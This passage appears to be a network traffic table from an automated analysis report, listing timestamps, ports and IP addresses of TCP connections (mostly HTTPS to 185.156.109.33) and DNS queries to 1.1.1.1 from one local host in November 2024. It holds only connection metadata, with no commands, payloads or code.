Nov 21, 2024 14:45:21.634902954 CET	49793	443	192.168.2.16	20.190.159.68
Nov 21, 2024 14:45:21.635704041 CET	49793	443	192.168.2.16	20.190.159.68
Nov 21, 2024 14:45:21.635778904 CET	443	49793	20.190.159.68	192.168.2.16
Nov 21, 2024 14:45:21.635858059 CET	49793	443	192.168.2.16	20.190.159.68
Nov 21, 2024 14:45:21.635864973 CET	443	49793	20.190.159.68	192.168.2.16
Nov 21, 2024 14:45:21.670490026 CET	49794	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.686501026 CET	49793	443	192.168.2.16	20.190.159.68
Nov 21, 2024 14:45:21.707448006 CET	443	49789	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.712534904 CET	443	49788	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.712563992 CET	443	49788	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.712642908 CET	49788	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.712677002 CET	443	49788	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.713310957 CET	49788	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.713365078 CET	443	49788	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.713418961 CET	49788	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.725011110 CET	443	49789	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.725101948 CET	49789	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.725317001 CET	49789	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.725331068 CET	443	49789	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.728770018 CET	443	49790	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.728796005 CET	443	49790	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.728847027 CET	49790	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.728876114 CET	443	49790	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.728928089 CET	49790	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.729448080 CET	49790	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.729500055 CET	443	49790	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.729547977 CET	49790	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.732892990 CET	80	49721	164.132.95.123	192.168.2.16
Nov 21, 2024 14:45:21.732949018 CET	49721	80	192.168.2.16	164.132.95.123
Nov 21, 2024 14:45:21.967930079 CET	443	49791	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.968036890 CET	443	49791	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.968056917 CET	443	49791	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.968106031 CET	49791	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.968125105 CET	443	49791	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.968146086 CET	49791	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.968167067 CET	49791	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.968169928 CET	443	49791	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.968187094 CET	443	49791	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.968214035 CET	49791	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.968240976 CET	49791	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.968333960 CET	443	49791	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.968570948 CET	443	49791	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.968617916 CET	49791	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.968817949 CET	49791	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.968839884 CET	443	49791	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.058053970 CET	443	49792	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.058114052 CET	443	49792	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.058135986 CET	443	49792	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.058181047 CET	443	49792	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.058187008 CET	49792	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:22.058243036 CET	443	49792	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.058270931 CET	443	49792	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.058298111 CET	49792	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:22.058298111 CET	49792	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:22.058334112 CET	49792	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:22.058347940 CET	443	49792	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.058500051 CET	443	49792	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.058556080 CET	49792	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:22.060344934 CET	49792	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:22.060374975 CET	443	49792	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.241501093 CET	443	49793	20.190.159.68	192.168.2.16
Nov 21, 2024 14:45:22.241585016 CET	49793	443	192.168.2.16	20.190.159.68
Nov 21, 2024 14:45:22.241607904 CET	443	49793	20.190.159.68	192.168.2.16
Nov 21, 2024 14:45:22.241730928 CET	443	49793	20.190.159.68	192.168.2.16
Nov 21, 2024 14:45:22.241785049 CET	49793	443	192.168.2.16	20.190.159.68
Nov 21, 2024 14:45:22.367733955 CET	49793	443	192.168.2.16	20.190.159.68
Nov 21, 2024 14:45:22.367734909 CET	49793	443	192.168.2.16	20.190.159.68
Nov 21, 2024 14:45:22.367790937 CET	443	49793	20.190.159.68	192.168.2.16
Nov 21, 2024 14:45:22.367861986 CET	49793	443	192.168.2.16	20.190.159.68
Nov 21, 2024 14:45:22.371982098 CET	49797	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:22.372021914 CET	443	49797	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.372108936 CET	49797	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:22.372488022 CET	49797	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:22.372509956 CET	443	49797	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.374514103 CET	49798	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:22.374546051 CET	443	49798	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.374608040 CET	49798	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:22.374814987 CET	49798	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:22.374830961 CET	443	49798	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.409041882 CET	443	49794	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.409069061 CET	443	49794	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.409076929 CET	443	49794	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.409106970 CET	443	49794	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.409121037 CET	443	49794	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.409137011 CET	443	49794	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.409149885 CET	49794	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:22.409193993 CET	443	49794	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.409224033 CET	49794	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:22.409249067 CET	49794	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:22.452290058 CET	443	49794	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.452317953 CET	443	49794	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.452342987 CET	443	49794	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.452392101 CET	49794	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:22.452414989 CET	443	49794	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.452445984 CET	49794	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:22.452481031 CET	49794	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:22.610006094 CET	443	49794	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.610038996 CET	443	49794	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.610156059 CET	49794	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:22.610196114 CET	443	49794	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.610255003 CET	49794	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:22.637120962 CET	443	49794	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.637151003 CET	443	49794	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.637226105 CET	49794	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:22.637248039 CET	443	49794	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.637275934 CET	49794	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:22.637311935 CET	49794	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:22.669358015 CET	443	49794	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.669390917 CET	443	49794	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.669450998 CET	49794	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:22.669469118 CET	443	49794	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.669497967 CET	49794	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:22.669523001 CET	49794	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:22.701725960 CET	443	49794	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.701755047 CET	443	49794	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.701816082 CET	49794	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:22.701828003 CET	443	49794	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.701858997 CET	49794	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:22.701879025 CET	49794	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:22.717685938 CET	443	49794	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.717767954 CET	443	49794	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:22.717849016 CET	49794	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:22.717905998 CET	49794	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:22.717942953 CET	443	49794	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:23.823394060 CET	443	49797	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:23.828668118 CET	49797	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:23.828680992 CET	443	49797	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:23.829193115 CET	443	49798	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:23.829392910 CET	49798	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:23.829426050 CET	443	49798	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:23.830183983 CET	443	49797	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:23.830251932 CET	49797	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:23.830530882 CET	49797	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:23.830619097 CET	443	49797	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:23.830749035 CET	49797	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:23.830766916 CET	443	49797	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:23.830784082 CET	49797	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:23.833015919 CET	443	49798	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:23.833123922 CET	49798	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:23.833376884 CET	49798	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:23.833519936 CET	49798	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:23.833556890 CET	443	49798	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:23.871328115 CET	443	49797	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:23.880531073 CET	49798	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:23.880552053 CET	443	49798	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:23.880565882 CET	49797	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:23.928534985 CET	49798	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:24.409676075 CET	443	49798	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:24.409742117 CET	443	49798	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:24.409761906 CET	443	49798	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:24.409871101 CET	49798	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:24.409935951 CET	443	49798	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:24.410002947 CET	49798	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:24.411422968 CET	49798	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:24.411513090 CET	443	49798	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:24.411683083 CET	49798	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:24.418240070 CET	49799	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:24.418267965 CET	443	49799	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:24.418369055 CET	49799	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:24.418731928 CET	49799	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:24.418746948 CET	443	49799	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:24.590898991 CET	443	49797	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:24.590976000 CET	49797	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:24.590990067 CET	443	49797	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:24.591617107 CET	443	49797	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:24.591671944 CET	49797	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:24.592207909 CET	49797	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:24.592222929 CET	443	49797	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:24.592236996 CET	49797	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:24.592278004 CET	49797	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:24.594655037 CET	49800	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:24.594727039 CET	443	49800	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:24.594845057 CET	49800	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:24.595067024 CET	49800	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:24.595101118 CET	443	49800	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:24.765510082 CET	49801	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:24.765563011 CET	443	49801	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:24.765647888 CET	49801	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:24.770235062 CET	49801	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:24.770253897 CET	443	49801	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:24.772078037 CET	49802	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:24.772118092 CET	443	49802	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:24.772203922 CET	49802	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:24.772397041 CET	49802	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:24.772403955 CET	443	49802	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:24.978352070 CET	49803	443	192.168.2.16	142.250.184.196
Nov 21, 2024 14:45:24.978379965 CET	443	49803	142.250.184.196	192.168.2.16
Nov 21, 2024 14:45:24.978447914 CET	49803	443	192.168.2.16	142.250.184.196
Nov 21, 2024 14:45:24.978693008 CET	49803	443	192.168.2.16	142.250.184.196
Nov 21, 2024 14:45:24.978708982 CET	443	49803	142.250.184.196	192.168.2.16
Nov 21, 2024 14:45:25.823195934 CET	443	49799	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:25.826548100 CET	49799	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:25.826574087 CET	443	49799	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:25.827814102 CET	443	49799	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:25.828319073 CET	49799	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:25.828495979 CET	443	49799	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:25.828614950 CET	49799	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:25.828665018 CET	443	49799	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:26.047797918 CET	443	49800	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:26.048281908 CET	49800	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:26.048345089 CET	443	49800	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:26.049084902 CET	443	49800	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:26.049514055 CET	49800	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:26.049618959 CET	443	49800	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:26.049758911 CET	49800	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:26.049792051 CET	443	49800	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:26.226658106 CET	443	49801	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:26.226998091 CET	49801	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:26.227022886 CET	443	49801	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:26.230587006 CET	443	49801	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:26.230695963 CET	49801	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:26.230973959 CET	49801	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:26.231120110 CET	49801	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:26.231143951 CET	443	49801	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:26.250794888 CET	443	49802	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:26.251157999 CET	49802	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:26.251193047 CET	443	49802	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:26.251528978 CET	443	49802	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:26.251808882 CET	49802	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:26.251877069 CET	443	49802	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:26.251944065 CET	49802	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:26.251983881 CET	443	49802	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:26.285509109 CET	49801	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:26.285521030 CET	443	49801	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:26.301537991 CET	49802	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:26.333518982 CET	49801	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:26.409980059 CET	443	49803	142.250.184.196	192.168.2.16
Nov 21, 2024 14:45:26.410368919 CET	49803	443	192.168.2.16	142.250.184.196
Nov 21, 2024 14:45:26.410393000 CET	443	49803	142.250.184.196	192.168.2.16
Nov 21, 2024 14:45:26.410671949 CET	443	49803	142.250.184.196	192.168.2.16
Nov 21, 2024 14:45:26.411076069 CET	49803	443	192.168.2.16	142.250.184.196
Nov 21, 2024 14:45:26.411128998 CET	443	49803	142.250.184.196	192.168.2.16
Nov 21, 2024 14:45:26.460556030 CET	49803	443	192.168.2.16	142.250.184.196
Nov 21, 2024 14:45:26.491137028 CET	443	49799	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:26.491156101 CET	443	49799	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:26.491215944 CET	443	49799	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:26.491236925 CET	49799	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:26.491271019 CET	49799	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:26.492466927 CET	49799	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:26.492477894 CET	443	49799	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:26.803998947 CET	443	49801	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:26.813147068 CET	443	49801	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:26.813277006 CET	49801	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:26.813524961 CET	49801	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:26.813544989 CET	443	49801	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:26.817770958 CET	49805	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:26.817815065 CET	443	49805	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:26.817905903 CET	49805	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:26.818353891 CET	49805	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:26.818375111 CET	443	49805	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:26.848212957 CET	443	49802	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:26.848391056 CET	443	49802	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:26.848498106 CET	49802	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:26.849411964 CET	49802	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:26.849468946 CET	443	49802	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:26.854351997 CET	49806	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:26.854393959 CET	443	49806	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:26.854501009 CET	49806	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:26.854731083 CET	49806	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:26.854748964 CET	443	49806	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:26.892132044 CET	443	49800	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:26.892241001 CET	49800	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:26.892296076 CET	443	49800	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:26.893132925 CET	49800	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:26.893196106 CET	443	49800	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:26.893265963 CET	49800	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:28.305337906 CET	443	49806	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:28.305625916 CET	49806	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:28.305645943 CET	443	49806	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:28.306121111 CET	443	49806	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:28.306433916 CET	49806	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:28.306561947 CET	443	49806	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:28.306615114 CET	49806	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:28.306648970 CET	443	49806	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:28.345815897 CET	443	49805	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:28.346123934 CET	49805	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:28.346151114 CET	443	49805	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:28.347220898 CET	443	49805	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:28.347294092 CET	49805	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:28.347564936 CET	49805	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:28.347629070 CET	443	49805	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:28.347686052 CET	49805	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:28.347716093 CET	443	49805	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:28.353816986 CET	49806	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:28.401596069 CET	49805	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:28.401607990 CET	443	49805	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:28.449544907 CET	49805	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:28.937391996 CET	443	49806	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:28.939362049 CET	443	49806	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:28.939537048 CET	49806	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:28.939615965 CET	49806	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:28.939637899 CET	443	49806	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:29.006123066 CET	443	49805	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:29.006211042 CET	443	49805	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:29.006275892 CET	49805	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:29.006836891 CET	49805	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:29.006851912 CET	443	49805	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:33.580137968 CET	49696	443	192.168.2.16	20.190.159.23
Nov 21, 2024 14:45:33.580137968 CET	49697	80	192.168.2.16	192.229.221.95
Nov 21, 2024 14:45:33.700671911 CET	443	49696	20.190.159.23	192.168.2.16
Nov 21, 2024 14:45:33.700877905 CET	49696	443	192.168.2.16	20.190.159.23
Nov 21, 2024 14:45:33.701503038 CET	80	49697	192.229.221.95	192.168.2.16
Nov 21, 2024 14:45:33.701564074 CET	49697	80	192.168.2.16	192.229.221.95
Nov 21, 2024 14:45:36.211896896 CET	443	49803	142.250.184.196	192.168.2.16
Nov 21, 2024 14:45:36.211970091 CET	443	49803	142.250.184.196	192.168.2.16
Nov 21, 2024 14:45:36.212028980 CET	49803	443	192.168.2.16	142.250.184.196
Nov 21, 2024 14:45:36.424489021 CET	49803	443	192.168.2.16	142.250.184.196
Nov 21, 2024 14:45:36.424511909 CET	443	49803	142.250.184.196	192.168.2.16
Nov 21, 2024 14:45:38.338838100 CET	49699	443	192.168.2.16	20.190.159.23
Nov 21, 2024 14:45:38.458921909 CET	443	49699	20.190.159.23	192.168.2.16
Nov 21, 2024 14:45:38.459250927 CET	49699	443	192.168.2.16	20.190.159.23
Nov 21, 2024 14:45:40.475570917 CET	49750	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:40.475584984 CET	443	49750	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:52.234724998 CET	49722	80	192.168.2.16	164.132.95.123
Nov 21, 2024 14:45:52.354377031 CET	80	49722	164.132.95.123	192.168.2.16
Nov 21, 2024 14:45:56.411345959 CET	49750	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:56.411577940 CET	443	49750	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:56.411678076 CET	49750	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:58.303634882 CET	49764	443	192.168.2.16	152.199.21.175
Nov 21, 2024 14:45:58.303689003 CET	443	49764	152.199.21.175	192.168.2.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 21, 2024 14:44:06.256987095 CET	53510	53	192.168.2.16	1.1.1.1
Nov 21, 2024 14:44:20.311485052 CET	53	55460	1.1.1.1	192.168.2.16
Nov 21, 2024 14:44:20.404300928 CET	53	62715	1.1.1.1	192.168.2.16
Nov 21, 2024 14:44:22.098442078 CET	49984	53	192.168.2.16	1.1.1.1
Nov 21, 2024 14:44:22.098598957 CET	56060	53	192.168.2.16	1.1.1.1
Nov 21, 2024 14:44:22.675192118 CET	53	57653	1.1.1.1	192.168.2.16
Nov 21, 2024 14:44:23.113601923 CET	51805	53	192.168.2.16	1.1.1.1
Nov 21, 2024 14:44:23.113831043 CET	60578	53	192.168.2.16	1.1.1.1
Nov 21, 2024 14:44:23.147641897 CET	53	56060	1.1.1.1	192.168.2.16
Nov 21, 2024 14:44:23.169038057 CET	53	49984	1.1.1.1	192.168.2.16
Nov 21, 2024 14:44:24.355880022 CET	53	60578	1.1.1.1	192.168.2.16
Nov 21, 2024 14:44:24.376712084 CET	53	51805	1.1.1.1	192.168.2.16
Nov 21, 2024 14:44:24.926481009 CET	64659	53	192.168.2.16	1.1.1.1
Nov 21, 2024 14:44:24.926697016 CET	52900	53	192.168.2.16	1.1.1.1
Nov 21, 2024 14:44:25.155117035 CET	53	64659	1.1.1.1	192.168.2.16
Nov 21, 2024 14:44:25.155174971 CET	53	52900	1.1.1.1	192.168.2.16
Nov 21, 2024 14:44:27.661264896 CET	56888	53	192.168.2.16	1.1.1.1
Nov 21, 2024 14:44:27.661427021 CET	65295	53	192.168.2.16	1.1.1.1
Nov 21, 2024 14:44:27.894351959 CET	53	65295	1.1.1.1	192.168.2.16
Nov 21, 2024 14:44:27.897123098 CET	53	56888	1.1.1.1	192.168.2.16
